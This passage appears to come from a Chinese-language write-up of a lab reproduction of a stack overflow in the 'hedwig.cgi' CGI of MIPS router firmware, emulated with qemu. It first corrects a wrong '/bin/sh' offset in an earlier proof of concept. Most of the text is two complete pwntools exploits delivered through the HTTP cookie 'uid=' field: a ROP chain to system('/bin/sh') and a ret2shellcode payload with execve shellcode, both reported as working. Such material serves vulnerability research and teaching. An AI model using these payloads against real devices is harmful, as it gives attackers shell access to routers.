后来我在检查各个函数和 gadget 的地址的时候:
我这里的 libc 基地址是 0x2b2ff000
,发现 system()
函数的地址是没问题的
但是原本应该是 b'/bin/sh'
的地址却出现了很奇怪的 b'H\2245+\234\3025+'
,但我就记得这个字符串很眼熟:
这就是我们刚刚使用 poc 打失败的时候报的错误:sh: 1: H\x945+\x9c\xc25+: not found
所以问题很明显了:system()
地址是对的,system()
的传参也是对的,但是参数不是 "/bin/sh"
搜索 b'/bin/sh'
发现真正的地址应该是 0x2b359448,于是利用 ROPgadget 查一下 libc 中 b'/bin/sh'
的偏移,发现是 0x5a448:
修改一下 poc 中 b'/bin/sh'
的偏移,新的 poc 如下:
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base = 0x2b2ff000 # 根据自己调试的基地址来更改
payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x159F4) # s1 move $t9, $s0 (=> jalr $t9)
payload += b'a'*4
# payload += p32(libc_base + 0x6DFD0) # s3 /bin/sh
payload += p32(libc_base + 0x0005a448) # s3 /bin/sh 原 poc 的偏移是错误的
payload += b'a'*(4*2)
payload += p32(libc_base + 0x32A98) # s6 addiu $s0, 1 (=> jalr $s1)
payload += b'a'*(4*2)
payload += p32(libc_base + 0x13F8C) # ra move $a0, $s3 (=> jalr $s6)
payload = b"uid=" + payload
post_content = "winmt=pwner"
io = process(b"""
qemu-mipsel-static -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()
然后再次运行 poc:
成功!
- 通过 shellcode 来 getshell(由于 MIPS 架构是无法开启 NX 保护的,因此可以使用
ret2shellcode
,但需要注意shellcode
中不能存在b'\x00'
等字符防止导致sprintf
被截断)
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')
libc_base = 0x2b2ff000 # 根据自己调试的基地址来更改
payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)
shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode
payload = b"uid=" + payload
post_content = "winmt=pwner"
io = process(b"""
qemu-mipsel-static -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()
运行 poc:
直接一发入魂!